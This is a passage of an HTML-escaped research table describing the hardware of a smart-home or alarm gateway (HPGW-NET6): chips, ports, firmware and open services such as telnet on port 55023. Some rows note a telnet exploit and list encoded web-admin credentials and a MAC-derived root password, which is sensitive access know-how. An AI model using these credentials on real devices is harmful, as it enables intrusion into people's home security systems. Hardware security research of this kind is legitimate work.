&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2015 Q2 (Continuing)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2015 Q1 (Continuing)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;2015 Q1 (EOL)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;State of Research&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;No input via UART; Telnet exploit!&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Not in possession&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Not in possession&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Not investigated&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Not investigated&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Not investigated&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;FE, USB B, SIM&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Buttons&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Learn&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;LED&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Error, Area1, Area2&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Power&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;12V/2A DC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;GSM: Cinterion BGS2-W rev. 01.301 &amp;lt;br&amp;gt;Z-Wave: 868,6625 MHz (Dual Way) &amp;lt;br&amp;gt;Battery: 7,2V Ni-MH 1600mAH&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Z-Wave&amp;lt;br&amp;gt;Battery&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Z-Wave&amp;lt;br&amp;gt;Battery&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Z-Wave&amp;lt;br&amp;gt;Battery&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;FCC-ID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;System&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Faraday GM8126&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Processor&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;GM812225TF-Qc (Fam. GM812x) SoC &amp;lt;br&amp;gt;FA626TE rev1 (ARMv5TE) (270 MHz)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BogoMIPS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;264.19&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Memory&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;DRAM: 64MB DRR (400MHz)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Storage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Flash: 32 MB (NAND)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ethernet MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;eth0: 00:1D:94:05:85:A7&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN SSID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN PSK&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Default IPv4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;10.0.1.52/8&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hostname&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;HPGW-NET6&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;NET Protocols&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt; SSLv3 SHA-256bit with RSA-Encryption,&amp;lt;br&amp;gt;UPnP, FTP, Telnet,&amp;lt;br&amp;gt;ZBS v.2.9.2.6.1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Interfaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;uart0 (TQFP-176 chip provides no RX for UART2)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;55023 telnet (BusyBox telnetd),&amp;lt;br&amp;gt;443 ssl/https,&amp;lt;br&amp;gt;80 http (Mongoose) (Redirect to 443)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webpage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;https://192.168.0.128/action/login&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webaccess&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;admin: NDc2MTAzMj08NQ==&amp;lt;br&amp;gt;expert: YH11YHdxNDc2MQ==&amp;lt;br&amp;gt;user: cHZgdzQ3NjE==&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Root Password&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;H5jb2Qqy (Derived from MAC)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other Login Pw&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;None&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Firmware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;0.0.2.19E&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hardware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;V1.0&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
